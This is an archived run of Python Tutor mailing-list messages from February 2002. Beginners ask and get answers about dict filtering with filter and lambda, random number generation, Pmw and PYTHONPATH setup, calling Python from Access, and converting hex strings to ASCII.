------=_NextPart_000_0005_01C1B06E.9BD36C60-- From scarblac@pino.selwerd.nl Thu Feb 7 18:42:29 2002 From: scarblac@pino.selwerd.nl (Remco Gerlich) Date: Thu, 7 Feb 2002 19:42:29 +0100 Subject: [Tutor] omit some keys from dict In-Reply-To: ; from karthikg@aztec.soft.net on Wed, Jan 16, 2002 at 12:25:25AM +0530 References: <4.2.0.58.20020206223333.019e2ba0@pop3.norton.antivirus> Message-ID: <20020207194229.A29850@pino.selwerd.nl> On 0, Karthik Gurumurthy wrote: > I have a dict and i don't want to look for certain keys. > "omit" lists the keys i want to omit. > To get the remaining keys i can probably do this.. > > > j= {1:'hello',2:'fine',3:'python',4:'dicts',5:'lists',6:'tuples'} #actual > dict > omit = [1,3,5] > checkkeys = [key for key in j.keys() if key not in omit] > > Now how can i write this using *only* filter and lambda? checkkeys = filter(lambda key: key not in omit, j.keys()) > I thought i w'd'nt use list comprehensions, but now for this problem > i had to use LCs. Nah :-) Things that start with [x for x in ... if] basically *are* filters. -- Remco Gerlich From shalehperry@attbi.com Thu Feb 7 18:45:12 2002 From: shalehperry@attbi.com (Sean 'Shaleh' Perry) Date: Thu, 07 Feb 2002 10:45:12 -0800 (PST) Subject: [Tutor] omit some keys from dict In-Reply-To: Message-ID: On 15-Jan-2002 Karthik Gurumurthy wrote: > I have a dict and i don't want to look for certain keys. > "omit" lists the keys i want to omit. > To get the remaining keys i can probably do this.. > > > j= {1:'hello',2:'fine',3:'python',4:'dicts',5:'lists',6:'tuples'} #actual > dict > omit = [1,3,5] > checkkeys = [key for key in j.keys() if key not in omit] > > Now how can i write this using *only* filter and lambda? > >>> j= {1:'hello',2:'fine',3:'python',4:'dicts',5:'lists',6:'tuples'} >>> omit = [1,3,5] >>> filter(lambda key, omit = omit: key not in omit, j.keys()) [6, 4, 2] That will work even under 1.5.2. Under 2.1 and above the 'omit = omit' can be left out. If it were not for the need to place 'omit' in the scope of the lambda I find the filter call much more readable. From scarblac@pino.selwerd.nl Thu Feb 7 18:58:34 2002 From: scarblac@pino.selwerd.nl (Remco Gerlich) Date: Thu, 7 Feb 2002 19:58:34 +0100 Subject: [Tutor] omit some keys from dict In-Reply-To: ; from shalehperry@attbi.com on Thu, Feb 07, 2002 at 10:45:12AM -0800 References: Message-ID: <20020207195834.A29880@pino.selwerd.nl> On 0, Sean 'Shaleh' Perry wrote: > >>> j= {1:'hello',2:'fine',3:'python',4:'dicts',5:'lists',6:'tuples'} > >>> omit = [1,3,5] > >>> filter(lambda key, omit = omit: key not in omit, j.keys()) > [6, 4, 2] > > That will work even under 1.5.2. Under 2.1 and above the 'omit = omit' can be > left out. If it were not for the need to place 'omit' in the scope of the > lambda I find the filter call much more readable. Right, I left out the 'omit = omit' because I'm used to 2.1 code. 2.1 is about ten months old; 1.5.2 about three years. All my thesis code is 2.1 style code. I expect that most newbies have downloaded Python recently. So I'm not posting legacy code anymore unless there's a specific reason for it. My personal guidelines for using filter/map/lambda: I like filter better if it is a 'pure filter', like the one above. The expression in the list comprehension is just the variable - [x for x in xs if ...]. I like map if and only if the function already exists and a lambda isn't necessary - map(str, range(10)). If the situation is even a little more complex than this, I prefer the list comprehension. [str(i)+"%" for i in range(10)] instead of map(lambda i: str(i)+"%", range(10)). -- Remco Gerlich From shalehperry@attbi.com Thu Feb 7 19:14:32 2002 From: shalehperry@attbi.com (Sean 'Shaleh' Perry) Date: Thu, 07 Feb 2002 11:14:32 -0800 (PST) Subject: [Tutor] omit some keys from dict In-Reply-To: <20020207195834.A29880@pino.selwerd.nl> Message-ID: On 07-Feb-2002 Remco Gerlich wrote: > On 0, Sean 'Shaleh' Perry wrote: >> >>> j= {1:'hello',2:'fine',3:'python',4:'dicts',5:'lists',6:'tuples'} >> >>> omit = [1,3,5] >> >>> filter(lambda key, omit = omit: key not in omit, j.keys()) >> [6, 4, 2] >> >> That will work even under 1.5.2. Under 2.1 and above the 'omit = omit' can >> be >> left out. If it were not for the need to place 'omit' in the scope of the >> lambda I find the filter call much more readable. > > Right, I left out the 'omit = omit' because I'm used to 2.1 code. 2.1 is > about ten months old; 1.5.2 about three years. All my thesis code is 2.1 > style code. I expect that most newbies have downloaded Python recently. So > I'm not posting legacy code anymore unless there's a specific reason for it. > many many people are using distributions where python 1.5.2 is the only option short of compiling it themself. Not everyone is up to that task. I have always been disappointed by the python community's inability to see this. Even worse some people are using python modules that have not been updated to 2.x and have not had the time or ability to upgrade them. > My personal guidelines for using filter/map/lambda: > good rules of thumb. From cmccormick@thestate.com Thu Feb 7 19:21:02 2002 From: cmccormick@thestate.com (Chris McCormick) Date: Thu, 07 Feb 2002 14:21:02 -0500 Subject: [Tutor] ** Newbie ** - Fastest random choice from integers 0 to X? Message-ID: Hello all, I'm sure this is a simple answer, but I wasn't sure what would be fastest. I have a group of consecutive integers, 0 to X. Given only the top bound (X), what is the fastest way to produce a random integer, 0 and X inclusive? My guess is: random.randrange( 0, (X+1), 1 ) Is this right? Thanks in advance for your help, Chris McCormick From scarblac@pino.selwerd.nl Thu Feb 7 19:24:51 2002 From: scarblac@pino.selwerd.nl (Remco Gerlich) Date: Thu, 7 Feb 2002 20:24:51 +0100 Subject: [Tutor] ** Newbie ** - Fastest random choice from integers 0 to X? In-Reply-To: ; from cmccormick@thestate.com on Thu, Feb 07, 2002 at 02:21:02PM -0500 References: Message-ID: <20020207202451.A29952@pino.selwerd.nl> On 0, Chris McCormick wrote: > Hello all, > I'm sure this is a simple answer, but I wasn't sure what would be fastest. > > I have a group of consecutive integers, 0 to X. Given only the top bound > (X), what is the fastest way to produce a random integer, 0 and X inclusive? > My guess is: > > random.randrange( 0, (X+1), 1 ) > > Is this right? Yes. Apart from the speed, it's about the only right way, since this is a standard library function for it, and the other one, random.randint, is deprecated (shouldn't be used anymore). Speed shouldn't be much of a concern, usually. -- Remco Gerlich From m_konermann@gmx.de Thu Feb 7 09:07:43 2002 From: m_konermann@gmx.de (Keule) Date: Thu, 07 Feb 2002 10:07:43 +0100 Subject: [Tutor] Installation of PMW Message-ID: <3C6243DF.6060109@gmx.de> --------------060903090302050607010401 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 8bit Hi @ All ! It seems, that i´ve got problems with a correct installation of PMW and the correct extracting of the PMW modules. For example, after extracting and try to use the PmwEntryField.py module the following Error occurs: >>> Traceback (most recent call last): File "C:\Arbeit_Diplomarbeit\__Benutzerschnittstelle\PMW\Pmw.0.8.5.tar\Pmw_0_8_5\Pmw\Pmw_0_8_5\lib\PmwEntryField.py", line 7, in ? import Pmw File "C:\Python22\lib\site-packages\Pmw\__init__.py", line 34, in ? _loader = 'Pmw.' + _instdirs[0] + '.lib.PmwLoader' IndexError: list index out of range after extracting, the module PmwEntryField.py can be find on my harddisk in the following directory: C:\__Benutzerschnittstelle\PMW\Pmw.0.8.5.tar\Pmw_0_8_5\Pmw\Pmw_0_8_5\lib the long directory name results of the .tar.gz archive file, because i had to extract it second times (archive in an archive) Has anyone tips for a proper installation ? Greetings Marcus --------------060903090302050607010401 Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit Hi @ All !

It seems, that i´ve got problems with a correct installation of PMW and the correct extracting of the PMW modules.
For example, after extracting and try to use the PmwEntryField.py module the following Error occurs:

>>>
Traceback (most recent call last):
  File "C:\Arbeit_Diplomarbeit\__Benutzerschnittstelle\PMW\Pmw.0.8.5.tar\Pmw_0_8_5\Pmw\Pmw_0_8_5\lib\PmwEntryField.py", line 7, in ?
    import Pmw
  File "C:\Python22\lib\site-packages\Pmw\__init__.py", line 34, in ?
    _loader = 'Pmw.' + _instdirs[0] + '.lib.PmwLoader'
IndexError: list index out of range


after extracting, the module PmwEntryField.py can be find on my harddisk in the following directory:

C:\__Benutzerschnittstelle\PMW\Pmw.0.8.5.tar\Pmw_0_8_5\Pmw\Pmw_0_8_5\lib

the long directory name results of the .tar.gz  archive file, because i had to extract it second times (archive in an archive)
Has anyone tips for a proper installation ?

Greetings
Marcus
--------------060903090302050607010401-- From beazley@cs.uchicago.edu Thu Feb 7 15:27:19 2002 From: beazley@cs.uchicago.edu (David Beazley) Date: Thu, 7 Feb 2002 09:27:19 -0600 (CST) Subject: [Tutor] [Swig] Installation of PMW In-Reply-To: <3C6243DF.6060109@gmx.de> References: <3C6243DF.6060109@gmx.de> Message-ID: <15458.40151.597314.835673@gargoyle.cs.uchicago.edu> Keule writes: > Hi @ All ! >=20 > It seems, that i=B4ve got problems with a correct installation of PM= W and=20 > the correct extracting of the PMW modules. Maybe I'm confused, but what is PMW and what does it have to do with SWIG? You might get better results by contacting the author of this package directly or posting to a PMW list (if there is one). Cheers, Dave From troels.petersen@sveg.se.sykes.com Thu Feb 7 20:14:22 2002 From: troels.petersen@sveg.se.sykes.com (Troels Petersen) Date: Thu, 7 Feb 2002 21:14:22 +0100 Subject: [Tutor] Pythonpath.. In Windows. Message-ID: Hi, I bet there is one and preferably one obvious way to do this - but I simply haven't been able to. I have some 'homemade' python modules I want to load. I have added the path to the modules to my PythonPath via the 'Edit PythonPath' function in Activestates PythonWin. But I still can't load my modules. >>> import calc1 Traceback (most recent call last): File "", line 1, in ? ImportError: No module named calc1 A link to enlighten me would be fine... Regards, Troels From dyoo@hkn.eecs.berkeley.edu Thu Feb 7 20:16:04 2002 From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo) Date: Thu, 7 Feb 2002 12:16:04 -0800 (PST) Subject: [Tutor] Installation of PMW In-Reply-To: <3C6243DF.6060109@gmx.de> Message-ID: On Thu, 7 Feb 2002, Keule wrote: > Hi @ All ! >=20 > It seems, that i=B4ve got problems with a correct installation of PMW and= =20 > the correct extracting of the PMW modules. Dear Keule, Please be careful about sending questions to the appropriate mailing lists. You CC'ed your question off to the SWIG list, but the SWIG folks probably won't be familiar about Python MegaWidgets. > For example, after extracting and try to use the PmwEntryField.py > module the following Error occurs: How are you trying to use the PmwEntryField module? Can you show us what you did to get this error message? Also, you probably should not be trying to use the PmwEntryField.py within that long directory name: "C:\Arbeit_Diplomarbeit\__Benutzerschnittstelle \PMW\Pmw.0.8.5.tar\Pmw_0_8_5\Pmw\Pmw_0_8_5\lib\PmwEntryField.py"=20 To install Pmw, the files should only be under the C:\Python22\lib\site-packages\Pmw\ directory. Your C:\Python22\lib\site-packages\Pmw directory itself must contain at least the "Pmw_0_8_5" subdirectory. Can you do a 'dir' within C:\Python2.2\lib\site-packages\Pmw to confirm this? > after extracting, the module PmwEntryField.py can be find on my harddisk= =20 > in the following directory: >=20 > C:\__Benutzerschnittstelle\PMW\Pmw.0.8.5.tar\Pmw_0_8_5\Pmw\Pmw_0_8_5\lib Yes, but you don't need that directory once you've copied over the Pmw\ directory and all its contents over to site-packages\Pmw. Hope this helps! From mikalzet@libero.it Thu Feb 7 21:44:43 2002 From: mikalzet@libero.it (mikalzet@libero.it) Date: Thu, 7 Feb 2002 22:44:43 +0100 (CET) Subject: [Tutor] Shifts and DateTime problems In-Reply-To: <4.2.0.58.20020206223333.019e2ba0@pop3.norton.antivirus> Message-ID: On Wed, 6 Feb 2002, Kirby Urner wrote: > You don't have to name your input arguments as long as they > correspond, ... > You may also choose to skip all those interim variables, Thanks, yes of course ... > If the only purpose of your class is really just to > print something formatted, then you don't really > need a class. But I assume you're thinking to > expand on the above model somehow. Let's say that the final Shift class should have a method for adding a new shift, reading a new shift ...and probably methods for calculating how many hours are attributed to each different type of shift, how many to each worker, to calculate how many hours of work are to be calculated as night shifts and holiday shifts etc. etc. In the end formatting and printing something might not even remain in the shift class ! For the moment it is handy for learning how communication between python and postgres works. Then I think I'll need a Schedule class, capable of creating a new table in my database for each month's or week's schedule and probably containing the yet to be invented algorithm for automatically generating the shift schedule while taking into account all the shifts to fill in, the hours contracted for each worker, the various desiderata and just and lawful impediments of each worker etc. etc. and probably a Worker class to handle these aspects. This already seems something way above my head ... but all this would have to be handled in a Tkinter GUI ... and in the end have a method for actually producing neat, legible ps or pdf or whatever printable files which can be handed out to each worker and stuck on the notice board. Now the thing I really haven't the faintest idea of yet is how different classes could communicate with each other but I am content for the moment with toddling along like this. By the time I will have all this working Python version 7.0 will come out and all the code written so far will have to be rewritten, of course ! > Finally, if DateTimeFrom is all you're using from > mx.DateTime, I think I'll know what I'll be using from mx.DateTime only at the end ... if I ever come to one :-)) -- Michele Alzetta From AMoore4437@aol.com Thu Feb 7 21:48:12 2002 From: AMoore4437@aol.com (AMoore4437@aol.com) Date: Thu, 7 Feb 2002 16:48:12 EST Subject: [Tutor] running problems Message-ID: <185.3355d5f.2994501c@aol.com> --part1_185.3355d5f.2994501c_boundary Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit I have python 2.2 installed on my system (well i thought i did) (windows 95) I cannot seem to open it i have uninstalled and reinstalled but to no avail it's as if python has been deleted completely from my hard drive where am i going wrong tony moore --part1_185.3355d5f.2994501c_boundary Content-Type: text/html; charset="US-ASCII" Content-Transfer-Encoding: 7bit I have python 2.2 installed on my system (well i thought i did)
(windows 95)

I cannot seem to open it

i have uninstalled and reinstalled but to no avail
it's as if python has been deleted completely from my hard drive
where am i going wrong

tony moore
--part1_185.3355d5f.2994501c_boundary-- From wolf_binary@hotmail.com Fri Feb 8 00:43:35 2002 From: wolf_binary@hotmail.com (Cameron Stoner) Date: Thu, 7 Feb 2002 18:43:35 -0600 Subject: [Tutor] modular programming Message-ID: This is a multi-part message in MIME format. ------=_NextPart_000_000D_01C1B007.592D86A0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi to all, What is the difference between a C++ module or other language and = Python's modules? Thanks for any help Cameron ------=_NextPart_000_000D_01C1B007.592D86A0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hi to all,
 
What is the difference between a C++ = module or=20 other language and Python's modules?
 
Thanks for any help
Cameron
------=_NextPart_000_000D_01C1B007.592D86A0-- From dsh8290@rit.edu Fri Feb 8 01:10:29 2002 From: dsh8290@rit.edu (dman) Date: Thu, 7 Feb 2002 20:10:29 -0500 Subject: [Tutor] Python executables In-Reply-To: <000801c1b001$a6178660$a47937d2@renee123> References: <000801c1b001$a6178660$a47937d2@renee123> Message-ID: <20020208011029.GA373@dman.ddts.net> On Fri, Feb 08, 2002 at 07:02:44AM +1300, Willem de Beer wrote: | Good day | | I would like to run extremely simple Python 2.0 programs from MS Access. | | Any suggestions? Does Access/VB have anything like the C system() or the Python os.system() function? If so, then it is easy to execute external programs. Otherwise, good luck. -D -- Microsoft encrypts your Windows NT password when stored on a Windows CE device. But if you look carefully at their encryption algorithm, they simply XOR the password with "susageP", Pegasus spelled backwards. Pegasus is the code name of Windows CE. This is so pathetic it's staggering. http://www.cegadgets.com/artsusageP.htm From jeff@ccvcorp.com Fri Feb 8 01:48:56 2002 From: jeff@ccvcorp.com (Jeff Shannon) Date: Thu, 07 Feb 2002 17:48:56 -0800 Subject: [Tutor] Python executables References: Message-ID: <3C632E88.B704B6F4@ccvcorp.com> > "Willem de Beer" wrote: > > I would like to run extremely simple Python 2.0 programs from MS Access. > > Any suggestions? This might not quite count as "extremely simple", but it's not terribly difficult either. If you can't use a straight system call (as per DMan's suggestion), then you can try setting up your Python programs as COM servers, and calling them through the standard COM interface. (I'm presuming that Access gives you fairly simple COM ability, of course; it'd be a serious oversight on MS's part if it doesn't... but I know nothing of Access in particular.) Creating a Python COM server is fairly easy, but more than I can conveniently describe in a single message like this. If you do go this route, you will want to get the O'Reilly book, "Python Programming on Win32", by Mark Hammond and Andy Robinson. It's very clearly written, with lots of working examples and step-by-step walkthroughs of creating Win32-friendly Python programs. (I'd recommend it to *anyone* doing Python on Windows, but especially if you're doing anything with COM.) Jeff Shannon Technician/Programmer Credit International From kp87@lycos.com Fri Feb 8 02:33:12 2002 From: kp87@lycos.com (kevin parks) Date: Fri, 08 Feb 2002 11:33:12 +0900 Subject: [Tutor] list noise [not what you think] Message-ID: Hi all, Is there a way to fill a list with random values? I'd like to make a list and fill it with either white noise, pink noise, or brownian values, and then later (hopefully) filter and quantize them. Does Python have these different kinds of noise generators built in or as part of some standard module? Can anyone help me get started or point me to the right (or a right) approach? cheers, kevin From dsh8290@rit.edu Fri Feb 8 03:22:49 2002 From: dsh8290@rit.edu (dman) Date: Thu, 7 Feb 2002 22:22:49 -0500 Subject: [Tutor] list noise [not what you think] In-Reply-To: References: Message-ID: <20020208032249.GA1923@dman.ddts.net> On Fri, Feb 08, 2002 at 11:33:12AM +0900, kevin parks wrote: | Hi all, | | Is there a way to fill a list with random values? I'd like to | make a list and fill it with either white noise, pink noise, or | brownian values, and then later (hopefully) filter and quantize | them. Does Python have these different kinds of noise generators | built in or as part of some standard module? | | Can anyone help me get started or point me to the right (or a right) | approach? How about : import random # do it this way so you aren't increasing the size later l = [ None ] * for i in xrange( len( l ) ) : l[i] = random.random() ? -D -- Microsoft is to operating systems & security .... .... what McDonald's is to gourmet cooking From erikprice@mac.com Fri Feb 8 03:48:26 2002 From: erikprice@mac.com (Erik Price) Date: Thu, 7 Feb 2002 22:48:26 -0500 Subject: [Tutor] omit some keys from dict In-Reply-To: Message-ID: On Thursday, February 7, 2002, at 02:14 PM, Sean 'Shaleh' Perry wrote: > many many people are using distributions where python 1.5.2 is the only > option > short of compiling it themself. Not everyone is up to that task. I > have always > been disappointed by the python community's inability to see this. Hm. It worked fine for me... I'm not an "experienced" compiler, I just used the default ./configure script and it did all the work by itself. Is it different for other systems than Unix? (Must be my naivete not knowing this...) > Even worse > some people are using python modules that have not been updated to 2.x > and have > not had the time or ability to upgrade them. I just noticed that I am running 2.2 on my machine. Does that mean that I need to worry about importing modules, etc? I didn't realize that they are dependent on the version of Python used. Clearly I am out of my league here... is there a FAQ on the subject of 1.x vs 2.x Pythons? Thanks, Erik From idiot1@netzero.net Thu Feb 7 18:27:16 2002 From: idiot1@netzero.net (kirk Bailey) Date: Thu, 07 Feb 2002 13:27:16 -0500 Subject: [Tutor] security Message-ID: <3C62C704.F6D0475@netzero.net> ok, this is a question about securing the data stream. I am working on building a web manager for the creation and managing of lists. Not membership IN lists, the ownership and management, and if need be destruction of lists. I am concerned that simply using a password is not enough, as datastreams can be tapped if sent in the clear and passwords intercepted, and a hacker could then use these to destroy all lists on a service. I want to use technology to prevent such crimes. One idea occuring is to encrypt the password. Another is an email message to the owner confirming any and alll modifications. Frankly, securing the data stream would probably be easier to implement- but I do not know anything about how to do this. Anyone out there got some good ideas or information on this? -- end Respectfully, Kirk D Bailey Consulting evil genius +-------------------------"Thou Art Free." -Eris------------------------+ | Assorted blows against the empire I comitted: | | http://www.howlermonkey.net mailto:highprimate@howlermonkey.net | | http://www.tinylist.org +---------+ mailto:grumpy@tinylist.org | +---------------------Thinking|NORMALICY|Thinking-----------------------+ +---------+ ---------------------------------------------------- Sign Up for NetZero Platinum Today Only $9.95 per month! http://my.netzero.net/s/signup?r=platinum&refcd=PT97 From dyoo@hkn.eecs.berkeley.edu Fri Feb 8 05:48:55 2002 From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo) Date: Thu, 7 Feb 2002 21:48:55 -0800 (PST) Subject: [Tutor] modular programming In-Reply-To: Message-ID: On Thu, 7 Feb 2002, Cameron Stoner wrote: > What is the difference between a C++ module or other language and > Python's modules? The Python "extension modules" that people often mention are Python modules that have been written in a language other than Python. If the extension module has been written well, we shouldn't be able to recognize an extension module from a regular module written in Python. For a concrete example of an extension module, take a look at Tkinter --- that module is actually written in C, but has been wrapped so well that it feels Pythonic. However, I'm not sure if this is what you mean by "C++ module". Please feel free to ask more questions about this, and we'll try to give a more appropriate answer. Talk to you later! From urnerk@qwest.net Fri Feb 8 05:59:20 2002 From: urnerk@qwest.net (Kirby Urner) Date: Thu, 07 Feb 2002 21:59:20 -0800 Subject: [Tutor] running problems In-Reply-To: <185.3355d5f.2994501c@aol.com> Message-ID: <4.2.0.58.20020207215800.019ed330@pop3.norton.antivirus> At 04:48 PM 2/7/2002 -0500, AMoore4437@aol.com wrote: >I have python 2.2 installed on my system (well i thought i did) >(windows 95) > >I cannot seem to open it How do you try? Do you get the little snake icon? Go to the Python22 directory in a DOS box and enter Python. Do you get a prompt? > Then at least you know Python is there and working. But you'd have more fun if you could get the graphical interface to boot, which is what the snake's supposed to do for ya. Kirby From dyoo@hkn.eecs.berkeley.edu Fri Feb 8 05:56:01 2002 From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo) Date: Thu, 7 Feb 2002 21:56:01 -0800 (PST) Subject: [Tutor] ** Newbie ** - Fastest random choice from integers 0 to X? In-Reply-To: <20020207202451.A29952@pino.selwerd.nl> Message-ID: On Thu, 7 Feb 2002, Remco Gerlich wrote: > > My guess is: > > > > random.randrange( 0, (X+1), 1 ) > > > > Is this right? > > Yes. > > Apart from the speed, it's about the only right way, since this is a > standard library function for it, and the other one, random.randint, > is deprecated (shouldn't be used anymore). Also, the third parameter --- the "step" --- is set to 1 by default, so you can simplify your call to: random.randrange(0, X+1) Good luck to you! From dyoo@hkn.eecs.berkeley.edu Fri Feb 8 06:02:26 2002 From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo) Date: Thu, 7 Feb 2002 22:02:26 -0800 (PST) Subject: [Tutor] running problems In-Reply-To: <4.2.0.58.20020207215800.019ed330@pop3.norton.antivirus> Message-ID: On Thu, 7 Feb 2002, Kirby Urner wrote: > At 04:48 PM 2/7/2002 -0500, AMoore4437@aol.com wrote: > >I have python 2.2 installed on my system (well i thought i did) > >(windows 95) > > > >I cannot seem to open it > > How do you try? Do you get the little snake icon? > Go to the Python22 directory in a DOS box and enter > Python. Do you get a prompt? Hi Amoore, Also, check in your Start Menu --- you should see Python 2.2 in there in its own Application group. I have a small tutorial that might help: http://hkn.eecs.berkeley.edu/~dyoo/python/idle_intro It's possible that the installation is messed up, but let's check and make sure before doing anything hasty. *grin* From dyoo@hkn.eecs.berkeley.edu Fri Feb 8 06:13:57 2002 From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo) Date: Thu, 7 Feb 2002 22:13:57 -0800 (PST) Subject: [Tutor] list noise [not what you think] In-Reply-To: Message-ID: On Fri, 8 Feb 2002, kevin parks wrote: > Is there a way to fill a list with random values? I'd like to make a > list and fill it with either white noise, pink noise, or brownian > values, and then later (hopefully) filter and quantize them. Does > Python have these different kinds of noise generators built in or as > part of some standard module? Hi Kevin, We seem to be getting a lot of random questions lately! *grin* Yes, there are several good ways of doing this. The easy ways will use the 'random' module, and we can find documentation about it here: http://www.python.org/doc/current/lib/module-random.html The documentation is a bit terse, but it does show that we can use something like random.random() to get random floating-point numbers between 0 and 1. Here's an interpreter session that demonstrates this function: ### >>> from random import random >>> random() 0.913230480874057 >>> random() 0.35874922590195979 >>> random() 0.28924989831892356 >>> random() 0.11919278512468923 ### By using random.random() with some list manipulation, we can quickly build up a list of random values. Dman's example uses array assignment, which is a very good way of building the list. A similar way of doing it is by list append()ing: ### def makeRandomList(n): """Returns a list of n random numbers, where each entry is a float somewhere in [0, 1).""" mylist = [] for i in xrange(n) : mylist.append(random.random()) return mylist ### But the basic idea is the same: we call random.random() repeatedly and assign each to a new spot in our list. There are more sophisticated functions in the 'random' module, including stuff to generate normal, gamma, and gaussian distributions. I need to brush up on a statistics book to figure out what those terms mean! *grin* Good luck to you. From shalehperry@attbi.com Fri Feb 8 06:39:59 2002 From: shalehperry@attbi.com (Sean 'Shaleh' Perry) Date: Thu, 07 Feb 2002 22:39:59 -0800 (PST) Subject: [Tutor] omit some keys from dict In-Reply-To: Message-ID: > > I just noticed that I am running 2.2 on my machine. Does that mean that > I need to worry about importing modules, etc? I didn't realize that > they are dependent on the version of Python used. > > Clearly I am out of my league here... is there a FAQ on the subject of > 1.x vs 2.x Pythons? > modules written in pure python move forward from 1.x just fine 9 times out of 10. The reverse is 1 out of 10 when moving back to 1.x. The real problem are the modules written in C. From idiot1@netzero.net Fri Feb 8 08:00:04 2002 From: idiot1@netzero.net (kirk Bailey) Date: Fri, 08 Feb 2002 03:00:04 -0500 Subject: [Tutor] USELESS PYTHON Message-ID: <3C638584.64DB7E69@netzero.net> Well, I gathered together the SOAnotifier files, copied the GNUGPL into one called LICENSE, and made a tarball, and gzipped it, and sent it off to Rob at useless python, so soon it will be sitting there ready for one and all to dl and enjoy. Whenever I cook up another idea of somethign to make my life as a sysop a little easier, I will wrap it up and call that SOA(foo) and if there several of them, ofer it as a complete suite. SOA=SysOpAid, BTW. -- end Respectfully, Kirk D Bailey +----------------------"Thou Art Free." -Eris----------------------+ | Assorted blows against the empire I comitted: | | http://www.howlermonkey.net mailto:highprimate@howlermonkey.net | | http://www.tinylist.org +---------+ mailto:grumpy@tinylist.org | +------------------Thinking|NORMALICY|Thinking---------------------+ +---------+ ---------------------------------------------------- Sign Up for NetZero Platinum Today Only $9.95 per month! http://my.netzero.net/s/signup?r=platinum&refcd=PT97 From lonetwin Fri Feb 8 08:44:17 2002 From: lonetwin (lonetwin) Date: Fri, 8 Feb 2002 14:14:17 +0530 (IST) Subject: [Tutor] converting to Ascii from hex Message-ID: Hi everybody, For a program I'm working on I get data in ASCII hex digit characters (0-9, A-F), with two sequential ASCII hex digits corresponding to the hex value of each data byte. Eg: (because I know what I just said makes no sense :)), an ASCII "A" data character is sent as the two ASCII characters "41" (ie: 0x41 == 65 == ord('A') Now, the problem is I need to intepret this, what follows below is what I could hack up, but is kinda ugly. Could someone gimme something better ?? intepreter session: ========================================================= >>> p ="""416268696A6565740A353435303134392870756E65290D ... 35353130363639286F666629""" >>> s = [ chr(int(p[x:x+2], 16)) for x in range(0, len(p), 2) ] >>> s ['A', 'b', 'h', 'i', 'j', 'e', 'e', 't', '\n', '5', '4', '5', '0', '1', '4', '9', '(', 'p', 'u', 'n', 'e', ')', '\r', '5', '5', '1', '0', '6', '6', '9', '(', 'o', 'f', 'f', ')'] >>> ========================================================= Peace Steve From scarblac@pino.selwerd.nl Fri Feb 8 08:55:10 2002 From: scarblac@pino.selwerd.nl (Remco Gerlich) Date: Fri, 8 Feb 2002 09:55:10 +0100 Subject: [Tutor] converting to Ascii from hex In-Reply-To: ; from lonetwin@yahoo.com on Fri, Feb 08, 2002 at 02:14:17PM +0530 References: Message-ID: <20020208095510.A30938@pino.selwerd.nl> On 0, lonetwin wrote: > Hi everybody, > For a program I'm working on I get data in ASCII hex digit > characters (0-9, A-F), with two sequential ASCII hex digits corresponding > to the hex value of each data byte. Eg: (because I know what I just said > makes no sense :)), an ASCII "A" data character is sent as the two ASCII > characters "41" (ie: 0x41 == 65 == ord('A') > Now, the problem is I need to intepret this, what follows below is > what I could hack up, but is kinda ugly. Could someone gimme > something better ?? > > intepreter session: > ========================================================= > >>> p ="""416268696A6565740A353435303134392870756E65290D > ... 35353130363639286F666629""" > >>> s = [ chr(int(p[x:x+2], 16)) for x in range(0, len(p), 2) ] > >>> s > ['A', 'b', 'h', 'i', 'j', 'e', 'e', 't', '\n', '5', '4', '5', '0', '1', > '4', '9', '(', 'p', 'u', 'n', 'e', ')', '\r', '5', '5', '1', '0', '6', > '6', '9', '(', 'o', 'f', 'f', ')'] > >>> > ========================================================= I'd do it exactly the same way, I think. It may be a bit ugly and unreadable, so you might want to write it in a more verbose style, depending on taste, eg s = [] # List of characters for location in range(0, len(p), 2): # Convert from hex to int, then to ascii character = chr(int(p[location:location+2], 16)) s.append(character) This does the same thing and is a little slower, but more readable for anyone who isn't fluent with list comprehension style and the other functions used. But it's mostly taste. What you have works fine. -- Remco Gerlich From dyoo@hkn.eecs.berkeley.edu Fri Feb 8 09:19:10 2002 From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo) Date: Fri, 8 Feb 2002 01:19:10 -0800 (PST) Subject: [Tutor] converting to Ascii from hex [writing a group() function] In-Reply-To: Message-ID: On Fri, 8 Feb 2002, lonetwin wrote: > For a program I'm working on I get data in ASCII hex digit > characters (0-9, A-F), with two sequential ASCII hex digits > corresponding to the hex value of each data byte. Eg: (because I know > what I just said makes no sense :)), an ASCII "A" data character is > sent as the two ASCII characters "41" (ie: 0x41 == 65 == ord('A') Hi lonetwin, Interesting! Ok, let's take a look at the program: > >>> p ="""416268696A6565740A353435303134392870756E65290D > ... 35353130363639286F666629""" > >>> s = [ chr(int(p[x:x+2], 16)) for x in range(0, len(p), 2) ] > >>> s > ['A', 'b', 'h', 'i', 'j', 'e', 'e', 't', '\n', '5', '4', '5', '0', '1', > '4', '9', '(', 'p', 'u', 'n', 'e', ')', '\r', '5', '5', '1', '0', '6', > '6', '9', '(', 'o', 'f', 'f', ')'] This looks good. If we want, we can write a few functions to tease out some of the functionality. A large part of the program appears to try grouping pairs of elements in the sequence. We can generalize the grouping by writing a function like this: ### def group(seq, n=2): """Given a sequence 'seq', returns a list that clumps up 'n' adjacent elements together. By default, n=2.""" pieces = [] for i in range(len(seq) / n): pieces.append(seq[i*n : (i+1)*n]) return pieces ### Here's an example of group() in action: ### >>> group("1234567890") ['12', '34', '56', '78', '90'] >>> group("1234567890", 3) ['123', '456', '789'] >>> group("1234567890", 4) ['1234', '5678'] ### Cool, so that works. Once we have something like group(), we can write something like: ### s = [ chr(int(p[x:x+2], 16)) for x in range(0, len(p), 2) ] ### equivalently as: ### s = [ chr(int(chunk, 16)) for chunk in group(p)] ### I think having the group() function is worth the effort, as defining 's' becomes much nicer looking. It also gives us some versatility, because we can easily fiddle with this to group four letters at a time. I hope this helps! From dyoo@hkn.eecs.berkeley.edu Fri Feb 8 09:26:52 2002 From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo) Date: Fri, 8 Feb 2002 01:26:52 -0800 (PST) Subject: [Tutor] converting to Ascii from hex [writing a group() function] In-Reply-To: Message-ID: On Fri, 8 Feb 2002, Danny Yoo 